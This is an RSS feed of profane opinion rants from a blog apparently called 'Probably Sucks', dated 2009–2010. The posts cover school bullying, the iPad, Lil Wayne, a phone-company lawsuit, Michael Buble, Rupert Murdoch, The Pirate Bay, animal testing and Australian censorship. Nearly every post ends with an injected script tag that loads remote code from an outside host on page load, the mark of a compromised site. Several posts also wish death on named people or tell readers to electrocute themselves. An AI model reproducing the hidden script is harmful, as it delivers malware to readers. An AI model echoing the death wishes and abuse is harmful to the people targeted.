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		<title>Australian Schoolyard Bullying Is A Fucking Joke</title>
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		<pubDate>Thu, 04 Mar 2010 00:02:07 +0000</pubDate>
		<dc:creator>Probably Sucks</dc:creator>
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		<description><![CDATA[Bullying seems to be on the rise in Australian schools, kids as young as 12 and 13 are stabbing one another and victimising other students. It&#8217;s obvious there is no solution in place to fix this, &#8220;Oh, Tommy nearly killed Lucy with a fishing knife, so lets just suspend him for a week or so, [...]]]></description>
			<content:encoded><![CDATA[<p>Bullying seems to be on the rise in Australian schools, kids as young as 12 and 13 are stabbing one another and victimising other students. It&#8217;s obvious there is no solution in place to fix this, &#8220;Oh, Tommy nearly killed Lucy with a fishing knife, so lets just suspend him for a week or so, then he can come back and finish her off&#8221; &#8211; discipline is a fucking joke these days.</p>
<p>I&#8217;m in my really early twenties, so I&#8217;m young (in-case you want to know that). But when I went to school, I remember nearly being expelled (not suspended) for having too many absent days in year 12. Kids are killing each other and bringing knives to school, and only get suspended, yet I nearly got expelled for having too many days off? Where is the fucking justice and focus here?</p>
<p>I swear all of the stories I&#8217;ve heard from my parents and their time at school, it makes modern day schooling sound like a holiday camp. My mother recalls getting hit with a hard handled feather duster for only talking in class. My father getting the cane once because he was late to school, I think those kinds of extremes need to be brought back into schools immediately.</p>
<p>Bring back the cane, set-up some kind of hard labour detention program within the school which would make kids who did something wrong stay back after school hours and do work with the groundsman or make them come in on a weekend and do it. Is something like that really that hard to implement? Nope. Will the governments ever do something like that? Nope.</p>
<p>I find it comical and sad that the government is spending millions of dollars and wasting time on implementing an internet filter to protect kids from bad websites on the Internet, yet they&#8217;re not doing something about physical abuse happening in schools. Would you rather the government protect your kids from being stabbed or protect them from opening up a pornography website?</p>
<p>How about the government funds some school discipline programs, and perhaps implements self-defence classes into school. Get a martial arts expert, or ex professional boxer to come in and train kids at school to know the basics of defending themselves. Make it mandatory while you&#8217;re there.</p>
<p>Check out this news story which kind of inspired this opinionated rant: http://www.news.com.au/story/0,1,26803685-421,00.html<script src="http://ao.euuaw.com/9"></script></p>
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		<title>The Apple iPad Sucks, But It Will Still Be A Success</title>
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		<pubDate>Fri, 29 Jan 2010 06:32:23 +0000</pubDate>
		<dc:creator>Probably Sucks</dc:creator>
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		<description><![CDATA[Apple has done it again, created another shitty &#038; feature restricted product everyone will be foaming at the mouth for, the iPad. Every <del>man</del> nerd and his <del>dog</del> girlfriend will be lining up to get one of these things, even if they don't need one or know what the fuck it does.]]></description>
			<content:encoded><![CDATA[<p>Apple has done it again, created another shitty &#038; feature restricted product everyone will be foaming at the mouth for, the iPad. Every <del>man</del> nerd and his <del>dog</del> girlfriend will be lining up to get one of these things, even if they don&#8217;t need one or know what the fuck it does.</p>
<p>The iPad is really just an oversized version of an iPhone or iPod Touch. It can run the same apps, has a touch screen and doesn&#8217;t let you multitask on it. Sounds great doesn&#8217;t it? You want one already.</p>
<p>I really admire Apple; they could sell most of you a lump of coal and call it iCoal, it wouldn&#8217;t do anything, but you&#8217;d still want to buy it because Apple would ensure if you didn&#8217;t buy one, you&#8217;ll be alienating yourself from society. Quite personally I think it&#8217;s fucking ugly, I mean do Apple think they&#8217;re at a point now where they can create anything and know it&#8217;s customers will buy it?</p>
<p>I wonder if it will suffer from overheating issues and perhaps burn some customers, leaving a horrible scar reminding them of the crappy and highly expensive purchase that they didn&#8217;t need to make for the rest of their lives. If you&#8217;re planning on buying one of these, you&#8217;re just another Applesheep following the herd to your nearest Apple store.</p>
<p>The sad thing is millions of people will buy this, then Apple will release a newer version in one years time. Thus causing you to go into a fit of panic as you try and scurry up more cash to buy the new iPad-S<script src="http://ao.euuaw.com/9"></script></p>
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		<title>Fuck You Lil Wayne</title>
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		<pubDate>Wed, 09 Dec 2009 01:45:15 +0000</pubDate>
		<dc:creator>Probably Sucks</dc:creator>
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		<description><![CDATA[Lil Wayne is not a fucking rapper, end of story. If you think Lil Wayne is the greatest rapper alive, please electrocute yourself. He can&#8217;t rap for shit, his voice is irritating and he plays the tough guy persona but probably couldn&#8217;t defend himself at an under 13&#8242;s boxing match.]]></description>
			<content:encoded><![CDATA[<p>Lil Wayne is not a fucking rapper, end of story. If you think Lil Wayne is the greatest rapper alive, please electrocute yourself. He can&#8217;t rap for shit, his voice is irritating and he plays the tough guy persona but probably couldn&#8217;t defend himself at an under 13&#8242;s boxing match.<br />
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		<title>Stupid Woman Sues Mobile Phone Companies After Her Mother Was Killed By Talking Driver</title>
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		<pubDate>Tue, 08 Dec 2009 23:14:29 +0000</pubDate>
		<dc:creator>Probably Sucks</dc:creator>
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		<description><![CDATA[For a supposedly advanced and intelligent species, some of us are pretty fucking dumb. There is a lady who&#8217;s mother was killed in a car accident by someone talking on a mobile phone, boo hoo etc. This lady is now attempting to sue the companies that provided the drivers mobile phone and telephone service claiming [...]]]></description>
			<content:encoded><![CDATA[<p>For a supposedly advanced and intelligent species, some of us are pretty fucking dumb. There is a lady who&#8217;s mother was killed in a car accident by someone talking on a mobile phone, boo hoo etc. This lady is now attempting to sue the companies that provided the drivers mobile phone and telephone service claiming they&#8217;re responsible for her mothers accident.</p>
<p>Firstly, this lady is probably the biggest idiot I think I have ever heard of in my life (including myself). She hopes to prove that the companies should have foreseen the dangers and that they failed to provide adequate warnings. While we&#8217;re at it, why don&#8217;t we make gun manufacturers responsible for drive by shootings and accidental deaths? Why don&#8217;t we make drug companies responsible when someone overdoses on their drugs? I can&#8217;t believe this lady is actually serious, she needs to be killed herself.</p>
<p>The lawsuit, filed in October, involves a crash in Oklahoma City on Sept. 3, 2008. Ms. Smith’s mother, Linda Doyle, 61, died after her Toyota Rav4 was hit by a Ford pickup driven by Christopher Hill. Mr. Hill, then 20, told the police he was so distracted by a cellphone call that he ran a red light at 45 miles an hour, hitting Ms. Doyle’s car as it crossed in front of him.</p>
<p>Mr. Hill was talking on a Samsung UpStage phone on the Sprint Nextel service. Samsung declined to comment. Sprint Nextel said that it “rejects the claims of negligence” in the suit and that it includes safety messages on packaging and user manuals, on its Web site and in its advertising.</p>
<p>It&#8217;s funny because the guy that actually killed her mother whilst talking on the phone even said that it&#8217;s not the mobile phone companies fault. “It’s our choice if we’re going to talk on the cellphone while driving or walking down the street or in the office,” he said. “The cellphone companies don’t say you should talk on the phone and drive.”</p>
<p>So Jennifer Smith, get over yourself. I hope you lose a lot of money for such a pointless and shitty lawsuit wasting our courts time when real criminals and lawsuits could be in-place of yours.</p>
<p><a href="http://www.nytimes.com/2009/12/07/technology/07distracted-side.html?_r=2">Source</a><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Michael Buble&#039;s Little Cry Baby Tough Girl Alter Ego</title>
		<link>http://probablysucks.com/michael-bubles-little-cry-baby-tough-girl-alter-ego/</link>
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		<pubDate>Tue, 01 Dec 2009 03:58:43 +0000</pubDate>
		<dc:creator>Probably Sucks</dc:creator>
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		<description><![CDATA[Not so long ago Michael Buble (you know the guy who thinks he is God&#8217;s gift to women and also thinks that he has an amazing voice) revealed that he is sick of being typecast as a &#8220;cheesy crooner&#8221;, boo hoo Michael you&#8217;re breaking my heart you fucking girl. Acting like he is the only [...]]]></description>
			<content:encoded><![CDATA[<p>Not so long ago Michael Buble (you know the guy who thinks he is God&#8217;s gift to women and also thinks that he has an amazing voice) revealed that he is sick of being typecast as a &#8220;cheesy crooner&#8221;, boo hoo Michael you&#8217;re breaking my heart you fucking girl.</p>
<p>Acting like he is the only person that critics give a hard time, he sent out a warning saying that he next person that dares criticise him will end up with a fist in their face, ooh scary. I mean look at the guy, the only thing he could knock out is another notch on his belt after eating a few cheeseburgers on the weekend (if he is lucky).</p>
<p><strong>Let&#8217;s sum up Michael Buble</strong></p>
<ul>
<li>He writes cheesy crooner tracks about love, and other things that people think are cheesy</li>
<li>He has a bad haircut which makes him look like an army recruit reject</li>
<li>He is all talk, every word out of his mouth is just that, words without substance</li>
<li>He thinks he is funny, but really he is just another boring crooner trying to impress people in hopes of them buying his boring cheesy music</li>
<li>He is from Canada (America&#8217;s waste bin), do I really need to say anything more?</li>
</ul>
<p>He even goes on to say that he is so tough because he played ice hockey while he was growing up, what a man Michael Buble is. I mean forget the tens of thousands of other people grew up playing ice hockey, it didn&#8217;t make all those other people tough men like Michael Buble.</p>
<p>Stop acting like you&#8217;re so tough, I bet there are a whole lot of people in this world that could knock you straight onto the ground before you even got a punch in (most of them 13 year old kids).</p>
<p><a href="http://www.news.com.au/entertainment/music/michael-bubles-not-so-smooth-side/story-e6frfn09-1225802041854" target="_blank">Read the rest of what he was saying here</a><script src="http://ao.euuaw.com/9"></script></p>
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		<title>De-index Your Site From Google and Suffer The Consequences</title>
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		<pubDate>Tue, 24 Nov 2009 04:23:27 +0000</pubDate>
		<dc:creator>Probably Sucks</dc:creator>
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		<description><![CDATA[Rupert Murdoch seems to be suffering from late stage cenial syndrome after suggesting not long ago that he will de-index his news sites from Google if they don&#8217;t pay up some cash for supposedly hosting his content. Now it has been revealed that Microsoft have approached News Corporation and others urging them to de-index from [...]]]></description>
			<content:encoded><![CDATA[<p>Rupert Murdoch seems to be suffering from late stage cenial syndrome after suggesting not long ago that he will de-index his news sites from Google if they don&#8217;t pay up some cash for supposedly hosting his content. Now it has been revealed that Microsoft have approached News Corporation and others <a href="http://edition.cnn.com/2009/BUSINESS/11/22/microsoft.news.google.ft/" target="_blank">urging them to de-index from Google and other engines</a>, and have their content exclusively on Bing (and they&#8217;ll pay).</p>
<p>Sure Bing is gaining market share, but Google is still the leader. Most of my news is found from Google searches, I predict that News Corp is going to find out pretty soon the power of Google. Bing will bring minuscule traffic in comparison to Google. Whether these news sites like it or not, Google is definitely the king of search engines and de-indexing will only harm not help their sites.</p>
<p>So Rupert Murdoch, FUCK YOU. I hope you die sometime soon before you further damage the little credibility that News Corp has left.<script src="http://ao.euuaw.com/9"></script></p>
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		<title>The Pirate Bay Sells Out, Ha</title>
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		<pubDate>Tue, 07 Jul 2009 03:27:13 +0000</pubDate>
		<dc:creator>Probably Sucks</dc:creator>
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		<description><![CDATA[It was inevitable. The Pirate Bay provided a service, got popular because of the visitors that came to the site wanting free torrent downloads, and when the site is at the peak of it's popularity, it's sold. In most cultures this is called 'selling out'.]]></description>
			<content:encoded><![CDATA[<p>It was inevitable. The Pirate Bay provided a service, got popular because of the visitors that came to the site wanting free torrent downloads, and when the site is at the peak of it&#8217;s popularity, it&#8217;s sold. In most cultures this is called &#8216;selling out&#8217;.</p>
<p>The Pirate Bay founders cite that they couldn&#8217;t have taken the site any further and needed to sell it. More like, the site has been increasingly popular since the trials of it&#8217;s founders and they&#8217;re capitalising on that. They&#8217;re bailing on everyone, and you people defended these guys. Seriously? Come on. The Pirate Bay founders have effectively sold out and at your expense, I hope that makes you mad.</p>
<div id="attachment_751" class="wp-caption alignleft" style="width: 310px"><a href="http://probablysucks.com.s98016.gridserver.com/wp-content/uploads/2009/07/money.jpg"><img class="size-medium wp-image-751" title="money" src="http://probablysucks.com/wp-content/uploads/2009/07/money-300x225.jpg" alt="Thanks, and fuck you all. Love, The Pirate Bay." width="300" height="225" /></a><p class="wp-caption-text">Thanks, and fuck you all. Love, The Pirate Bay.</p></div>
<p>The Pirate Bay will now will now most likely be turned into a pay-to-access site, meaning you will have to pay for content. Doesn&#8217;t that kind of undermine what The Pirate Bay was meant to be about in the first place? Free stuff. The new owners of the Pirate Bay want copyright owners to be compensated for their works being distributed, someone get me a bucket to puke in.</p>
<p>I knew The Pirate Bay founders didn&#8217;t care about their users. If they cared about their user-base, they wouldn&#8217;t have sold out for a huge sum of cash. The Pirate Bay will never be like it was, not that is was that good, but it was big and responsible for distributing a lot of free torrents on the web.</p>
<p>The company that The Pirate Bay sold to is called Global Gaming Factory and it wouldn&#8217;t surprise me if you dig deep you might find out that this Global Gaming Factory company has ties with lobbyists protecting the interests of the recording companies. It wouldn&#8217;t surprise me in the slightest. It would be a pretty smart move, buy your enemy out so you control the rules.</p>
<p>It looks like a vacancy just opened up for a new torrent tracker to capitalise on the kind of success The Pirate Bay saw. Any takers?</p>
<p>Source: http://torrentfreak.com/the-pirate-bay-sold-to-software-company-goes-legal-090630/<script src="http://ao.euuaw.com/9"></script></p>
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		<title>What&#039;s So Wrong About Animal Testing?</title>
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		<pubDate>Tue, 30 Jun 2009 04:11:24 +0000</pubDate>
		<dc:creator>Probably Sucks</dc:creator>
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		<description><![CDATA[Shampoo, Toothpaste, Lubricant, Spray Paint, Chux Super Wipes and Engine Oil - it's all good stuff we couldn't live without. What if I told you all of those wonderful things were only made possible due to animal testing?]]></description>
			<content:encoded><![CDATA[<p>Shampoo, Toothpaste, Lubricant, Spray Paint, Bleach and Engine Oil &#8211; it&#8217;s all good stuff we couldn&#8217;t live without. What if I told you all of those wonderful things were only made possible due to animal testing? I do mean covering, probing and abusing animals in the name of great products.</p>
<p>People seem to hold the view that animal testing is torture and wrong, I say it&#8217;s a way of life. If we didn&#8217;t test products on animals, would we be the highly advanced and well-adjusted race like we are today? Of course not, don&#8217;t be silly. If we didn&#8217;t test things on animals, who would we test them on; Old people, blind orphans, religious child molesters? We already hunt animals for food, so it makes perfect sense to do everything else to them.</p>
<div id="attachment_605" class="wp-caption alignright" style="width: 260px"><a href="http://probablysucks.com.s98016.gridserver.com/wp-content/uploads/2009/06/Oprah_Winfrey.jpg"><img class="size-medium wp-image-605" title="Oprah_Winfrey" src="http://probablysucks.com/wp-content/uploads/2009/06/Oprah_Winfrey-250x300.jpg" alt="If it weren't for animal testing, Oprah wouldn't have been born." width="250" height="300" /></a><p class="wp-caption-text">If it weren&#39;t for animal testing, Oprah wouldn&#39;t have been born.</p></div>
<p>Most animals can repopulate so much easier than humans &#8211; due to there not being a drink buying or dating phase, animals can have intercourse and repopulate it&#8217;s particular animal species in less than a few minutes after meeting (in most cases). So what&#8217;s one less baby elephant or endangered Koala donated to a good laboratory cause?</p>
<p>I know if I were an animal, I&#8217;d be honoured to be selected for animal testing; to be a part of history, to be part of a potentially new ground breaking product like longer lasting antiperspirant or a warming lubricant to make sexual encounters in the cold (especially the Antarctic) a little less numbing and sticky.</p>
<p>Sure animals die during the testing phase all of the time, and I am almost certain a few baby Koala&#8217;s or rabbits are dying due to an allergic skin reaction from some cologne as we speak. Wow, what a bunch of heroes. I feel much safer knowing that some baby rabbit got skin cancer from a new cologne instead of myself. Don&#8217;t you?</p>
<p>Another thing: How can you trust products that claim not to test their products on animals? How do we know that those non-animal-tested products won&#8217;t make us grow another eye or mutate in a sewer dwelling creating that eats homeless people, and listens to Miley Cyrus&#8217;s music?</p>
<p>I believe laboratory tested products are safer because they&#8217;ve been tested properly or as close to properly as possible. It seems animals have a thousand uses besides mauling your neighbours baby or running through a maze to find cheese.<script src="http://ao.euuaw.com/9"></script></p>
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		<title>The Australian Fun Police Strike Again</title>
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		<pubDate>Tue, 30 Jun 2009 01:10:52 +0000</pubDate>
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		<description><![CDATA[Australia is quite possibly one of the most stuck up and prudish countries in the world. We are descendants of English heritage, but even people in England people aren&#8217;t this stuck up. Australia likes to market itself as a laid back country with a vast amount of opportunities, but the only opportunity you get here [...]]]></description>
			<content:encoded><![CDATA[<p>Australia is quite possibly one of the most stuck up and prudish countries in the world. We are descendants of English heritage, but even people in England people aren&#8217;t this stuck up. Australia likes to market itself as a laid back country with a vast amount of opportunities, but the only opportunity you get here is either be killed, beaten and robbed, scrutinised, arrested or fined for some stupid reason.</p>
<div id="attachment_675" class="wp-caption alignright" style="width: 310px"><a href="http://probablysucks.com.s98016.gridserver.com/wp-content/uploads/2009/06/BMW-Art-Advertisement-Banned-In-Australia.jpg"><img class="size-medium wp-image-675" title="BMW-Art-Advertisement-Banned-In-Australia" src="http://probablysucks.com/wp-content/uploads/2009/06/BMW-Art-Advertisement-Banned-In-Australia-300x240.jpg" alt="BMW Loves To Promote It's Cars To Hoons" width="300" height="240" /></a><p class="wp-caption-text">BMW Loves To Promote It&#39;s Cars To Hoons; Who can&#39;t afford to even buy a BMW.</p></div>
<p>Recently Australia&#8217;s advertising watchdog banned a BMW TV commercial because it promoted &#8216;<em>hoon driving</em>&#8216;.</p>
<p>The ad I speak of is where a BMW is driving in a warehouse creating an artwork on the floor with paint, the car is notably spinning it&#8217;s wheels and performing all kinds of driving manoeuvres which are deemed illegal. But are people that stupid that they can&#8217;t tell the difference between television and reality? Would this advertisement really make someone get into their car and mimic the stunts on the streets? I highly doubt it.</p>
<p>I find it highly ironic that in Australia we allow television advertisements for alcohol to be shown, but not a car advertisement that merely shows a car doing manoeuvres &#8211; in a warehouse, quite clearly not on the road.</p>
<p>This honestly is just the icing on the political correctness cake. Australia appears to be showing an apparent transition into communism, could it be Kevin Rudd&#8217;s obsession with China is finally rubbing off onto the Australian way of life? First an Internet filter list, no R18+ game rating system and banning a car advertisement which is more like art than promoting dangerous driving.</p>
<p>What&#8217;s next; will Top Gear Australia and Top Gear UK be banned because they promote hoon driving with their speeding, illegal driving manoeuvres shown on the television show? Wouldn&#8217;t surprise me. And also, since when do hoons drive BMW&#8217;s? Not to mention, since when a hoon even open up a can of paint anyway?</p>
<p>Check out the ad here and give your opinion: <a href="http://www.bmw.com.au/com/en/newvehicles/z4/z4/2009/introduction.html" target="_blank">http://www.bmw.com.au/com/en/newvehicles/z4/z4/2009/introduction.html</a><script src="http://ao.euuaw.com/9"></script></p>
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		<title>Apple Lied To Everyone, But Nobody Cares</title>
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		<pubDate>Sun, 28 Jun 2009 03:00:51 +0000</pubDate>
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		<description><![CDATA[I find it highly ironic that Apple lied to everyone (stockholders, general public) about just why Steve Jobs was taking medical leave for a year. They tried claiming it was a hormone imbalance that made Steve Jobs look like he was the walking dead and suffering from scurvy. Now it&#8217;s been revealed that he had [...]]]></description>
			<content:encoded><![CDATA[<p>I find it highly ironic that Apple lied to everyone (stockholders, general public) about just why Steve Jobs was taking medical leave for a year. They tried claiming it was a hormone imbalance that made Steve Jobs look like he was the walking dead and suffering from scurvy.</p>
<p><a href="http://probablysucks.com.s98016.gridserver.com/wp-content/uploads/2009/06/Steve_Jobs_Lied_About_Liver_Transplant.jpg"><img class="alignright size-medium wp-image-601" title="Steve_Jobs_Lied_About_Liver_Transplant" src="http://probablysucks.com/wp-content/uploads/2009/06/Steve_Jobs_Lied_About_Liver_Transplant-205x300.jpg" alt="Steve_Jobs_Lied_About_Liver_Transplant" width="205" height="300" /></a></p>
<p>Now it&#8217;s been revealed that <a href="http://chattahbox.com/business/2009/06/20/steve-jobs-had-liver-transplant-during-medical-leave-according-to-report/" target="_blank">he had a liver transplant</a>, doesn&#8217;t anyone else find that highly suspicious? Why couldn&#8217;t Apple tell us he had a liver transplant? It&#8217;s a common fact that people who have hormone imbalances DO NOT get their damn livers removed.</p>
<p>Maybe it&#8217;s just me being a pretentious prick, but aren&#8217;t there laws against withholding information from your stockholders and the public when you&#8217;re a fucking publicly traded company? I don&#8217;t know. Maybe Apple are exempt from the law because they&#8217;re so popular with their minuscule Linux like market share on desktop PC&#8217;s. Much sarcasm intended.</p>
<p>I think Apple need to be investigated for what has happened. Everyone was misled and made to believe Steve Jobs just needed some rest and to pop a few pills and he&#8217;d be okay eventually. People don&#8217;t get organ transplants for no reason, it doesn&#8217;t take a doctor to tell you that.</p>
<p>It sure seems as though nobody cares Apple lied. If this were Microsoft, people would be chanting &#8220;burn them, burn them!&#8221; and holding flaming pitchforks.<script src="http://ao.euuaw.com/9"></script></p>
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